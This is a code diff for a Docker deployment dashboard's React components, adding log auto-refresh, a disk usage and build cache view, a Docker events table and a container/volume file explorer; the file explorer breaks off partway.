<DialogContent className="sm:max-w-7xl">
<DialogHeader>
<DialogTitle>View Logs</DialogTitle>
<DialogDescription>Logs for {container.name}</DialogDescription>
</DialogHeader>
<div className="flex flex-col gap-4 pt-2.5">
<DockerLogsId
containerId={container.containerId}
serverId={serverId}
runType="native"
serviceId={serviceId}
/>
</div>
</DialogContent>
</Dialog>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("start", startMutation)}
>
Start
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("stop", stopMutation)}
>
Stop
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer text-red-500 focus:text-red-600"
disabled={actionLoading !== null}
onClick={() => handleAction("kill", killMutation)}
>
Kill
</DropdownMenuItem>
</DropdownMenuContent>
</DropdownMenu>
<DialogContent className="sm:max-w-7xl">
<DialogHeader>
<DialogTitle>View Logs</DialogTitle>
<DialogDescription>Logs for {container.name}</DialogDescription>
</DialogHeader>
<div className="flex flex-col gap-4 pt-2.5">
<DockerLogsId
containerId={container.containerId}
serverId={serverId}
runType="native"
serviceId={serviceId}
/>
</div>
</DialogContent>
</Dialog>
)}
</TableCell>
</TableRow>
);

View File

@ -2,6 +2,7 @@ import { Loader2 } from "lucide-react";
import dynamic from "next/dynamic";
import { useEffect, useState } from "react";
import { badgeStateColor } from "@/components/dashboard/application/logs/show";
import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils";
import { Badge } from "@/components/ui/badge";
import {
Card,
@ -54,10 +55,11 @@ export const ShowDockerLogsStack = ({
},
{
enabled: !!appName && option === "swarm",
refetchInterval: 5000,
},
);
const { data: containers, isPending: containersLoading } =
const { data, isPending: containersLoading } =
api.docker.getContainersByAppNameMatch.useQuery(
{
appName,
@ -66,20 +68,18 @@ export const ShowDockerLogsStack = ({
},
{
enabled: !!appName && option === "native",
refetchInterval: 5000,
},
);
const containers = data?.filter((container) => container.containerId);
const availableContainers = option === "native" ? containers : services;
useEffect(() => {
if (option === "native") {
if (containers && containers?.length > 0) {
setContainerId(containers[0]?.containerId);
}
} else {
if (services && services?.length > 0) {
setContainerId(services[0]?.containerId);
}
}
}, [option, services, containers]);
setContainerId((currentContainerId) =>
resolveContainerSelection(currentContainerId, availableContainers),
);
}, [availableContainers]);
const isLoading = option === "native" ? containersLoading : servicesLoading;
const containersLength =
@ -104,6 +104,7 @@ export const ShowDockerLogsStack = ({
<Switch
checked={option === "native"}
onCheckedChange={(checked) => {
setContainerId(undefined);
setOption(checked ? "native" : "swarm");
}}
/>

View File

@ -2,6 +2,7 @@ import { Loader2 } from "lucide-react";
import dynamic from "next/dynamic";
import { useEffect, useState } from "react";
import { badgeStateColor } from "@/components/dashboard/application/logs/show";
import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils";
import { Badge } from "@/components/ui/badge";
import {
Card,
@ -52,14 +53,15 @@ export const ShowDockerLogsCompose = ({
},
{
enabled: !!appName,
refetchInterval: 5000,
},
);
const [containerId, setContainerId] = useState<string | undefined>();
useEffect(() => {
if (data && data?.length > 0) {
setContainerId(data[0]?.containerId);
}
setContainerId((currentContainerId) =>
resolveContainerSelection(currentContainerId, data),
);
}, [data]);
return (

View File

@ -74,6 +74,7 @@ interface Props {
databaseType?: DatabaseType;
serverId?: string | null;
backupType?: "database" | "compose";
trigger?: React.ReactNode;
}
const RestoreBackupSchema = z
@ -200,6 +201,7 @@ export const RestoreBackup = ({
databaseType,
serverId,
backupType = "database",
trigger,
}: Props) => {
const [isOpen, setIsOpen] = useState(false);
const [search, setSearch] = useState("");
@ -311,10 +313,12 @@ export const RestoreBackup = ({
return (
<Dialog open={isOpen} onOpenChange={setIsOpen}>
<DialogTrigger asChild>
<Button variant="outline">
<RotateCcw className="mr-2 size-4" />
Restore Backup
</Button>
{trigger ?? (
<Button variant="outline">
<RotateCcw className="mr-2 size-4" />
Restore Backup
</Button>
)}
</DialogTrigger>
<DialogContent className="sm:max-w-2xl">
<DialogHeader>

View File

@ -14,10 +14,11 @@ import {
import type { inferRouterOutputs } from "@trpc/server";
import {
ArrowUpDown,
Boxes,
ChevronLeft,
ChevronRight,
CircuitBoard,
ExternalLink,
GlobeIcon,
Loader2,
Rocket,
Server,
@ -71,24 +72,26 @@ function getServiceInfo(d: DeploymentRow) {
return {
type: "Application" as const,
name: app.name,
icon: app.icon,
projectId: app.environment.project.projectId,
environmentId: app.environment.environmentId,
projectName: app.environment.project.name,
environmentName: app.environment.name,
serviceId: app.applicationId,
href: `/dashboard/project/${app.environment.project.projectId}/environment/${app.environment.environmentId}/services/application/${app.applicationId}`,
href: `/dashboard/project/${app.environment.project.projectId}/environment/${app.environment.environmentId}/services/application/${app.applicationId}?tab=deployments`,
};
}
if (comp?.environment?.project && comp.environment) {
return {
type: "Compose" as const,
name: comp.name,
icon: comp.icon,
projectId: comp.environment.project.projectId,
environmentId: comp.environment.environmentId,
projectName: comp.environment.project.name,
environmentName: comp.environment.name,
serviceId: comp.composeId,
href: `/dashboard/project/${comp.environment.project.projectId}/environment/${comp.environment.environmentId}/services/compose/${comp.composeId}`,
href: `/dashboard/project/${comp.environment.project.projectId}/environment/${comp.environment.environmentId}/services/compose/${comp.composeId}?tab=deployments`,
};
}
return null;
@ -175,10 +178,16 @@ export function ShowDeploymentsTable() {
if (!info) return <span className="text-muted-foreground"></span>;
return (
<div className="flex items-center gap-2">
{info.type === "Application" ? (
<Rocket className="size-4 text-muted-foreground shrink-0" />
{info.icon ? (
<img
src={info.icon}
alt={info.name}
className="size-4 object-contain shrink-0"
/>
) : info.type === "Application" ? (
<GlobeIcon className="size-4 text-muted-foreground shrink-0" />
) : (
<Boxes className="size-4 text-muted-foreground shrink-0" />
<CircuitBoard className="size-4 text-muted-foreground shrink-0" />
)}
<div className="flex flex-col min-w-0">
<span className="font-medium truncate">{info.name}</span>

View File

@ -0,0 +1,428 @@
"use client";
import {
type ColumnDef,
flexRender,
getCoreRowModel,
getPaginationRowModel,
getSortedRowModel,
type PaginationState,
type SortingState,
useReactTable,
} from "@tanstack/react-table";
import type { inferRouterOutputs } from "@trpc/server";
import {
ArrowUpDown,
Boxes,
Database,
Gauge,
HardDrive,
Layers,
Loader2,
type LucideIcon,
Trash2,
} from "lucide-react";
import { useMemo, useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import { Input } from "@/components/ui/input";
import {
Table,
TableBody,
TableCell,
TableHead,
TableHeader,
TableRow,
} from "@/components/ui/table";
import type { AppRouter } from "@/server/api/root";
import { api } from "@/utils/api";
type DiskUsageItem =
inferRouterOutputs<AppRouter>["dockerDiskUsage"]["getDiskUsage"][number];
type BuildCacheBase =
inferRouterOutputs<AppRouter>["dockerDiskUsage"]["getBuildCache"][number];
type BuildCacheRow = BuildCacheBase & { key: string };
interface Props {
serverId?: string;
}
const STAT_CARDS: { type: string; title: string; icon: LucideIcon }[] = [
{ type: "Images", title: "Images", icon: Layers },
{ type: "Containers", title: "Containers", icon: Boxes },
{ type: "Local Volumes", title: "Volumes", icon: HardDrive },
{ type: "Build Cache", title: "Build Cache", icon: Database },
];
const SortableHeader = ({
column,
title,
}: {
column: {
getIsSorted: () => false | "asc" | "desc";
toggleSorting: (asc: boolean) => void;
};
title: string;
}) => (
<Button
variant="ghost"
className="-ml-3 h-8"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
{title}
<ArrowUpDown className="ml-2 size-4" />
</Button>
);
const StatCard = ({
icon: Icon,
title,
item,
isLoading,
}: {
icon: LucideIcon;
title: string;
item?: DiskUsageItem;
isLoading: boolean;
}) => (
<Card className="p-4">
<div className="flex items-center gap-2 text-sm text-muted-foreground">
<Icon className="size-4" />
{title}
</div>
{isLoading ? (
<div className="mt-3 flex items-center gap-2 text-sm text-muted-foreground">
<Loader2 className="size-4 animate-spin" />
</div>
) : (
<>
<div className="mt-2 text-2xl font-semibold">{item?.size ?? "-"}</div>
<div className="mt-1 flex flex-wrap gap-x-3 text-xs text-muted-foreground">
<span>{item?.totalCount ?? 0} total</span>
<span>{item?.active ?? 0} active</span>
<span>{item?.reclaimable ?? "-"} reclaimable</span>
</div>
</>
)}
</Card>
);
export const ShowDiskUsage = ({ serverId }: Props) => {
const utils = api.useUtils();
const [sorting, setSorting] = useState<SortingState>([
{ id: "Size", desc: true },
]);
const [globalFilter, setGlobalFilter] = useState("");
const [pagination, setPagination] = useState<PaginationState>({
pageIndex: 0,
pageSize: 10,
});
const { data: diskUsage, isLoading: isLoadingDiskUsage } =
api.dockerDiskUsage.getDiskUsage.useQuery({ serverId });
const { data: buildCache, isLoading: isLoadingBuildCache } =
api.dockerDiskUsage.getBuildCache.useQuery({ serverId });
const { mutateAsync: pruneBuildCache, isPending: isPruning } =
api.dockerDiskUsage.pruneBuildCache.useMutation();
const usageByType = useMemo(
() => new Map((diskUsage ?? []).map((item) => [item.type, item])),
[diskUsage],
);
const rows = useMemo<BuildCacheRow[]>(
() =>
(buildCache ?? []).map((entry) => ({
...entry,
key: entry.id,
})),
[buildCache],
);
const filteredData = useMemo(() => {
if (!globalFilter.trim()) {
return rows;
}
const query = globalFilter.toLowerCase();
return rows.filter(
(entry) =>
entry.id.toLowerCase().includes(query) ||
entry.description.toLowerCase().includes(query) ||
entry.type.toLowerCase().includes(query),
);
}, [rows, globalFilter]);
const handlePrune = async () => {
try {
await pruneBuildCache({ serverId });
toast.success("Build cache pruned");
await Promise.all([
utils.dockerDiskUsage.getBuildCache.invalidate(),
utils.dockerDiskUsage.getDiskUsage.invalidate(),
]);
} catch (error) {
toast.error("Error pruning build cache", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
const columns = useMemo<ColumnDef<BuildCacheRow>[]>(
() => [
{
accessorKey: "id",
header: ({ column }) => (
<SortableHeader column={column} title="Cache ID" />
),
cell: ({ row }) => (
<span className="font-mono text-xs text-muted-foreground">
{row.original.id.slice(0, 16)}
</span>
),
},
{
accessorKey: "type",
header: ({ column }) => <SortableHeader column={column} title="Type" />,
cell: ({ row }) => <Badge variant="outline">{row.original.type}</Badge>,
},
{
accessorKey: "description",
header: "Description",
enableSorting: false,
cell: ({ row }) => (
<div
className="max-w-[360px] truncate text-xs text-muted-foreground"
title={row.original.description}
>
{row.original.description || "-"}
</div>
),
},
{
id: "Size",
accessorFn: (entry) => entry.sizeBytes,
header: ({ column }) => <SortableHeader column={column} title="Size" />,
cell: ({ row }) => (
<span className="text-muted-foreground">{row.original.size}</span>
),
},
{
id: "created",
accessorKey: "createdSince",
header: "Created",
enableSorting: false,
cell: ({ row }) => (
<span className="text-xs text-muted-foreground whitespace-nowrap">
{row.original.createdSince}
</span>
),
},
{
id: "lastUsed",
accessorKey: "lastUsedSince",
header: "Last Used",
enableSorting: false,
cell: ({ row }) => (
<span className="text-xs text-muted-foreground whitespace-nowrap">
{row.original.lastUsedSince}
</span>
),
},
{
accessorKey: "usageCount",
header: ({ column }) => (
<SortableHeader column={column} title="Usage" />
),
cell: ({ row }) => (
<span className="text-muted-foreground">
{row.original.usageCount}
</span>
),
},
{
id: "flags",
enableSorting: false,
header: "Flags",
cell: ({ row }) => (
<div className="flex gap-1">
{row.original.inUse && <Badge variant="blue">In use</Badge>}
{row.original.shared && <Badge variant="outline">Shared</Badge>}
</div>
),
},
],
[],
);
const table = useReactTable({
data: filteredData,
columns,
getRowId: (row) => row.key,
state: {
sorting,
pagination,
},
onSortingChange: setSorting,
onPaginationChange: setPagination,
getCoreRowModel: getCoreRowModel(),
getSortedRowModel: getSortedRowModel(),
getPaginationRowModel: getPaginationRowModel(),
});
return (
<div className="w-full space-y-4">
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-4">
{STAT_CARDS.map((stat) => (
<StatCard
key={stat.type}
icon={stat.icon}
title={stat.title}
item={usageByType.get(stat.type)}
isLoading={isLoadingDiskUsage}
/>
))}
</div>
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
<div className="rounded-xl bg-background shadow-md">
<CardHeader>
<div className="flex flex-wrap items-center justify-between gap-2">
<div>
<CardTitle className="text-xl flex flex-row gap-2">
<Gauge className="size-6 text-muted-foreground self-center" />
Build Cache
</CardTitle>
<CardDescription>
Cache layers kept by the Docker builder on the selected
server.
</CardDescription>
</div>
<DialogAction
title="Prune build cache"
description="This will remove all build cache entries that are not currently in use. This action cannot be undone."
onClick={handlePrune}
disabled={isPruning}
>
<Button variant="outline" size="sm" disabled={isPruning}>
<Trash2 className="size-4 mr-1" />
Prune build cache
</Button>
</DialogAction>
</div>
</CardHeader>
<CardContent className="space-y-4 py-8 border-t">
{isLoadingBuildCache ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : !buildCache?.length ? (
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
<div className="rounded-full bg-muted p-4">
<Database className="size-10 text-muted-foreground" />
</div>
<div className="space-y-1 text-center">
<p className="text-sm font-medium">No build cache found</p>
<p className="max-w-sm text-sm text-muted-foreground">
Layers cached by "docker build" on this server will appear
here.
</p>
</div>
</div>
) : (
<>
<div className="flex flex-wrap items-center gap-2">
<Input
placeholder="Search by id, type or description..."
value={globalFilter}
onChange={(e) => setGlobalFilter(e.target.value)}
className="max-w-xs"
/>
</div>
<div className="rounded-md border overflow-x-auto">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
))}
</TableRow>
))}
</TableHeader>
<TableBody>
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow key={row.id}>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id}>
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className="h-24 text-center text-muted-foreground"
>
No build cache entries match your filters.
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</div>
{table.getPageCount() > 1 && (
<div className="flex items-center justify-end gap-4">
<span className="text-sm text-muted-foreground">
Page {table.getState().pagination.pageIndex + 1} of{" "}
{table.getPageCount()}
</span>
<div className="flex gap-2">
<Button
variant="outline"
size="sm"
onClick={() => table.previousPage()}
disabled={!table.getCanPreviousPage()}
>
Previous
</Button>
<Button
variant="outline"
size="sm"
onClick={() => table.nextPage()}
disabled={!table.getCanNextPage()}
>
Next
</Button>
</div>
</div>
)}
</>
)}
</CardContent>
</div>
</Card>
</div>
);
};

View File

@ -0,0 +1,425 @@
import {
type ColumnDef,
flexRender,
getCoreRowModel,
getPaginationRowModel,
getSortedRowModel,
type PaginationState,
type SortingState,
useReactTable,
} from "@tanstack/react-table";
import { Activity, ArrowUpDown, Loader2, RefreshCw } from "lucide-react";
import { useMemo, useState } from "react";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import {
Table,
TableBody,
TableCell,
TableHead,
TableHeader,
TableRow,
} from "@/components/ui/table";
import { api, type RouterOutputs } from "@/utils/api";
interface Props {
serverId?: string;
}
type DockerEvent = RouterOutputs["docker"]["getEvents"]["events"][number];
type EventRow = DockerEvent & { key: string };
const RANGE_OPTIONS = [
{ label: "Last 5 minutes", value: 5 },
{ label: "Last 15 minutes", value: 15 },
{ label: "Last hour", value: 60 },
{ label: "Last 6 hours", value: 360 },
{ label: "Last 24 hours", value: 1440 },
];
type BadgeVariant = "blue" | "green" | "yellow" | "orange" | "red" | "blank";
const TYPE_VARIANTS: Record<string, BadgeVariant> = {
container: "blue",
image: "green",
volume: "yellow",
network: "orange",
service: "blue",
node: "orange",
};
const ACTION_VARIANTS: Record<string, BadgeVariant> = {
create: "green",
start: "green",
pull: "green",
connect: "green",
die: "red",
destroy: "red",
kill: "red",
stop: "red",
remove: "red",
disconnect: "red",
pause: "yellow",
unpause: "yellow",
};
const getTypeVariant = (type?: string): BadgeVariant =>
(type && TYPE_VARIANTS[type]) || "blank";
const getActionVariant = (action?: string): BadgeVariant =>
(action && ACTION_VARIANTS[action]) || "blank";
const getResource = (event: DockerEvent) =>
event.Actor?.Attributes?.name ?? event.Actor?.ID ?? "-";
const getAttributesText = (event: DockerEvent) => {
const attributes = Object.entries(event.Actor?.Attributes ?? {}).filter(
([key]) => key !== "name",
);
return attributes.map(([key, value]) => `${key}=${value}`).join(" ") || "-";
};
const SortableHeader = ({
column,
title,
}: {
column: {
getIsSorted: () => false | "asc" | "desc";
toggleSorting: (asc: boolean) => void;
};
title: string;
}) => (
<Button
variant="ghost"
className="-ml-3 h-8"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
{title}
<ArrowUpDown className="ml-2 size-4" />
</Button>
);
export const ShowDockerEvents = ({ serverId }: Props) => {
const [minutes, setMinutes] = useState(15);
const [search, setSearch] = useState("");
const [sorting, setSorting] = useState<SortingState>([
{ id: "time", desc: true },
]);
const [pagination, setPagination] = useState<PaginationState>({
pageIndex: 0,
pageSize: 15,
});
const { data, isLoading, isRefetching, refetch, error } =
api.docker.getEvents.useQuery({
serverId,
minutes,
});
const events = useMemo<EventRow[]>(
() =>
(data?.events ?? []).map((event, index) => ({
...event,
key: `${event.time}-${event.Action}-${index}`,
})),
[data],
);
const filteredEvents = useMemo(() => {
if (!search.trim()) return events;
const query = search.toLowerCase();
return events.filter((event) => {
return (
event.Type?.toLowerCase().includes(query) ||
event.Action?.toLowerCase().includes(query) ||
event.Actor?.Attributes?.name?.toLowerCase().includes(query) ||
event.Actor?.ID?.toLowerCase().includes(query)
);
});
}, [events, search]);
const columns = useMemo<ColumnDef<EventRow>[]>(
() => [
{
id: "time",
accessorFn: (event) => event.time ?? 0,
header: ({ column }) => <SortableHeader column={column} title="Time" />,
cell: ({ row }) => (
<span className="text-xs text-muted-foreground whitespace-nowrap">
{row.original.time
? new Date(row.original.time * 1000).toLocaleTimeString()
: "-"}
</span>
),
},
{
id: "type",
accessorFn: (event) => event.Type ?? "",
header: ({ column }) => <SortableHeader column={column} title="Type" />,
cell: ({ row }) => (
<Badge variant={getTypeVariant(row.original.Type)}>
{row.original.Type ?? "unknown"}
</Badge>
),
},
{
id: "action",
accessorFn: (event) => event.Action ?? "",
header: ({ column }) => (
<SortableHeader column={column} title="Action" />
),
cell: ({ row }) => (
<Badge variant={getActionVariant(row.original.Action)}>
{row.original.Action ?? "-"}
</Badge>
),
},
{
id: "resource",
accessorFn: (event) => getResource(event),
header: ({ column }) => (
<SortableHeader column={column} title="Resource" />
),
cell: ({ row }) => {
const resource = getResource(row.original);
return (
<div
className="max-w-[220px] truncate font-mono text-xs"
title={resource}
>
{resource}
</div>
);
},
},
{
id: "attributes",
accessorFn: (event) => getAttributesText(event),
header: "Attributes",
enableSorting: false,
cell: ({ row }) => {
const attributesText = getAttributesText(row.original);
return (
<div
className="max-w-[360px] truncate text-xs text-muted-foreground"
title={attributesText}
>
{attributesText}
</div>
);
},
},
],
[],
);
const table = useReactTable({
data: filteredEvents,
columns,
getRowId: (row) => row.key,
state: {
sorting,
pagination,
},
onSortingChange: setSorting,
onPaginationChange: setPagination,
getCoreRowModel: getCoreRowModel(),
getSortedRowModel: getSortedRowModel(),
getPaginationRowModel: getPaginationRowModel(),
});
return (
<div className="w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
<div className="rounded-xl bg-background shadow-md">
<CardHeader>
<div className="flex flex-wrap items-center justify-between gap-2">
<div>
<CardTitle className="text-xl flex flex-row gap-2">
<Activity className="size-6 text-muted-foreground self-center" />
Docker Events
</CardTitle>
<CardDescription>
Events reported by the Docker daemon, equivalent to running
"docker events".
</CardDescription>
</div>
<Button
variant="outline"
size="sm"
onClick={() => refetch()}
disabled={isRefetching}
>
<RefreshCw
className={`size-4 mr-1 ${isRefetching ? "animate-spin" : ""}`}
/>
Refresh
</Button>
</div>
</CardHeader>
<CardContent className="space-y-4 py-8 border-t">
{error && (
<p className="text-sm text-destructive">{error.message}</p>
)}
<div className="flex flex-wrap items-center gap-2">
<Input
placeholder="Filter by type, action or name..."
value={search}
onChange={(e) => {
setSearch(e.target.value);
setPagination((prev) => ({ ...prev, pageIndex: 0 }));
}}
className="max-w-xs"
/>
<Select
value={String(minutes)}
onValueChange={(value) => setMinutes(Number(value))}
>
<SelectTrigger className="w-[180px]">
<SelectValue />
</SelectTrigger>
<SelectContent>
{RANGE_OPTIONS.map((option) => (
<SelectItem key={option.value} value={String(option.value)}>
{option.label}
</SelectItem>
))}
</SelectContent>
</Select>
</div>
<div className="rounded-md border overflow-x-auto">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
))}
</TableRow>
))}
</TableHeader>
<TableBody>
{isLoading ? (
<TableRow>
<TableCell
colSpan={columns.length}
className="h-24 text-center text-muted-foreground"
>
<div className="flex flex-row items-center justify-center gap-2">
<span>Loading events...</span>
<Loader2 className="size-4 animate-spin" />
</div>
</TableCell>
</TableRow>
) : table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow key={row.id}>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id}>
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className="h-24 text-center text-muted-foreground"
>
No events found in the selected time range.
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</div>
{table.getPageCount() > 1 && (
<div className="flex items-center justify-end gap-4">
<span className="text-sm text-muted-foreground">
Page {table.getState().pagination.pageIndex + 1} of{" "}
{table.getPageCount()}
</span>
<div className="flex items-center gap-2">
<span className="text-sm text-muted-foreground">Go to</span>
<Input
type="number"
min={1}
max={table.getPageCount()}
defaultValue={table.getState().pagination.pageIndex + 1}
key={table.getState().pagination.pageIndex}
onKeyDown={(e) => {
if (e.key !== "Enter") return;
const value = Number(
(e.target as HTMLInputElement).value,
);
if (!Number.isFinite(value)) return;
const page = Math.min(
Math.max(value, 1),
table.getPageCount(),
);
table.setPageIndex(page - 1);
}}
onBlur={(e) => {
const value = Number(e.target.value);
if (!Number.isFinite(value)) return;
const page = Math.min(
Math.max(value, 1),
table.getPageCount(),
);
table.setPageIndex(page - 1);
}}
className="w-16 h-8"
/>
</div>
<div className="flex gap-2">
<Button
variant="outline"
size="sm"
onClick={() => table.previousPage()}
disabled={!table.getCanPreviousPage()}
>
Previous
</Button>
<Button
variant="outline"
size="sm"
onClick={() => table.nextPage()}
disabled={!table.getCanNextPage()}
>
Next
</Button>
</div>
</div>
)}
</CardContent>
</div>
</Card>
</div>
);
};

View File

@ -0,0 +1,401 @@
import {
ChevronRight,
Download,
File,
Folder,
FolderOpen,
Loader2,
RefreshCw,
Trash2,
} from "lucide-react";
import { useEffect, useMemo, useState } from "react";
import { toast } from "sonner";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
import { api } from "@/utils/api";
type Props = {
serverId?: string;
children?: React.ReactNode;
asDropdownItem?: boolean;
} & (
| { containerId: string; volumeName?: undefined }
| { volumeName: string; containerId?: undefined }
);
const joinPath = (base: string, name: string) =>
base === "/" ? `/${name}` : `${base}/${name}`;
const decodeBase64 = (base64: string) => {
const binary = atob(base64);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i);
}
return bytes;
};
export const FilesExplorerModal = ({
containerId,
volumeName,
serverId,
children,
asDropdownItem = true,
}: Props) => {
const [open, setOpen] = useState(false);
const [path, setPath] = useState("/");
const [selectedFile, setSelectedFile] = useState<string | null>(null);
const [editorContent, setEditorContent] = useState("");
const isVolume = !!volumeName;
const utils = api.useUtils();
const containerEntries = api.docker.listContainerFiles.useQuery(
{ containerId: containerId ?? "", path, serverId },
{ enabled: open && !isVolume, retry: false },
);
const volumeEntries = api.dockerVolume.listVolumeFiles.useQuery(
{ volumeName: volumeName ?? "", path, serverId },
{ enabled: open && isVolume, retry: false },
);
const {
data: entries,
isLoading: isLoadingEntries,
error: entriesError,
refetch: refetchEntries,
isRefetching,
} = isVolume ? volumeEntries : containerEntries;
const containerFile = api.docker.readContainerFile.useQuery(
{ containerId: containerId ?? "", path: selectedFile ?? "/", serverId },
{ enabled: open && !isVolume && !!selectedFile, retry: false },
);
const volumeFile = api.dockerVolume.readVolumeFile.useQuery(
{ volumeName: volumeName ?? "", path: selectedFile ?? "/", serverId },
{ enabled: open && isVolume && !!selectedFile, retry: false },
);
const {
data: file,
isLoading: isLoadingFile,
error: fileError,
refetch: refetchFile,
} = isVolume ? volumeFile : containerFile;
const fileBytes = useMemo(
() => (file ? decodeBase64(file.content) : null),
[file],
);
const isBinary = useMemo(
() => !!fileBytes?.some((byte) => byte === 0),
[fileBytes],
);
useEffect(() => {
if (fileBytes && !isBinary) {
setEditorContent(new TextDecoder().decode(fileBytes));
}
}, [fileBytes, isBinary]);
const writeContainerFile = api.docker.writeContainerFile.useMutation();
const writeVolumeFile = api.dockerVolume.writeVolumeFile.useMutation();
const deleteContainerFile = api.docker.deleteContainerFile.useMutation();
const deleteVolumeFile = api.dockerVolume.deleteVolumeFile.useMutation();
const isSaving = writeContainerFile.isPending || writeVolumeFile.isPending;
const isDeleting =
deleteContainerFile.isPending || deleteVolumeFile.isPending;
const saveFile = async () => {
if (!selectedFile) return;
try {
if (isVolume) {
await writeVolumeFile.mutateAsync({
volumeName,
path: selectedFile,
content: editorContent,
serverId,
});
} else {
await writeContainerFile.mutateAsync({
containerId: containerId ?? "",
path: selectedFile,
content: editorContent,
serverId,
});
}
toast.success("File saved");
refetchFile();
} catch (error) {
toast.error(
error instanceof Error ? error.message : "Failed to save file",
);
}
};
const deleteEntry = async (entryPath: string) => {
try {
if (isVolume) {
await deleteVolumeFile.mutateAsync({
volumeName,
path: entryPath,
serverId,
});
await utils.dockerVolume.listVolumeFiles.invalidate();
} else {
await deleteContainerFile.mutateAsync({
containerId: containerId ?? "",
path: entryPath,
serverId,
});
await utils.docker.listContainerFiles.invalidate();
}
toast.success("Deleted");
if (selectedFile === entryPath) {
setSelectedFile(null);
}
} catch (error) {
toast.error(error instanceof Error ? error.message : "Failed to delete");
}
};
const breadcrumbs = path.split("/").filter(Boolean);
const navigate = (nextPath: string) => {
setPath(nextPath);
setSelectedFile(null);
};
const handleOpenChange = (value: boolean) => {
setOpen(value);
if (!value) {
setPath("/");
setSelectedFile(null);
setEditorContent("");
}
};
const downloadFile = () => {
if (!fileBytes || !selectedFile) return;
const blob = new Blob([fileBytes]);
const url = URL.createObjectURL(blob);
const anchor = document.createElement("a");
anchor.href = url;
anchor.download = selectedFile.split("/").pop() ?? "file";
anchor.click();
URL.revokeObjectURL(url);
};
return (
<Dialog open={open} onOpenChange={handleOpenChange}>
<DialogTrigger asChild>
{asDropdownItem ? (
<DropdownMenuItem
className="w-full cursor-pointer space-x-3"
onSelect={(e) => e.preventDefault()}
>
{children}
</DropdownMenuItem>
) : (
children
)}
</DialogTrigger>
<DialogContent className="sm:max-w-6xl">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<FolderOpen className="size-5" />
{isVolume ? "Volume Files" : "Container Files"}
</DialogTitle>
<DialogDescription>
{isVolume
? `Browse and edit files inside the "${volumeName}" volume`
: "Browse and edit files inside the container's filesystem"}
</DialogDescription>
</DialogHeader>
<div className="flex items-center gap-1 text-sm font-mono flex-wrap">
<button
type="button"
className="hover:underline text-muted-foreground"
onClick={() => navigate("/")}
>
/
</button>
{breadcrumbs.map((segment, index) => (
<span
key={`/${breadcrumbs.slice(0, index + 1).join("/")}`}
className="flex items-center gap-1"
>
<button
type="button"
className="hover:underline text-muted-foreground"
onClick={() =>
navigate(`/${breadcrumbs.slice(0, index + 1).join("/")}`)
}
>
{segment}
</button>
{index < breadcrumbs.length - 1 && (
<ChevronRight className="size-3 text-muted-foreground" />
)}
</span>
))}
<Button
variant="ghost"
size="icon"
className="ml-auto size-7"
onClick={() => refetchEntries()}
>
<RefreshCw
className={`size-4 ${isRefetching ? "animate-spin" : ""}`}
/>
</Button>
</div>
<div className="flex gap-4 min-h-[55vh] max-h-[65vh]">
<div className="w-72 shrink-0 border rounded-lg overflow-y-auto">
{isLoadingEntries ? (
<div className="flex h-full items-center justify-center gap-2 text-sm text-muted-foreground p-4">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : entriesError ? (
<div className="p-3">
<AlertBlock type="error">{entriesError.message}</AlertBlock>
</div>
) : (
<div className="flex flex-col p-1">
{path !== "/" && (
<button
type="button"
className="flex items-center gap-2 rounded-md px-2 py-1.5 text-sm hover:bg-muted text-left"
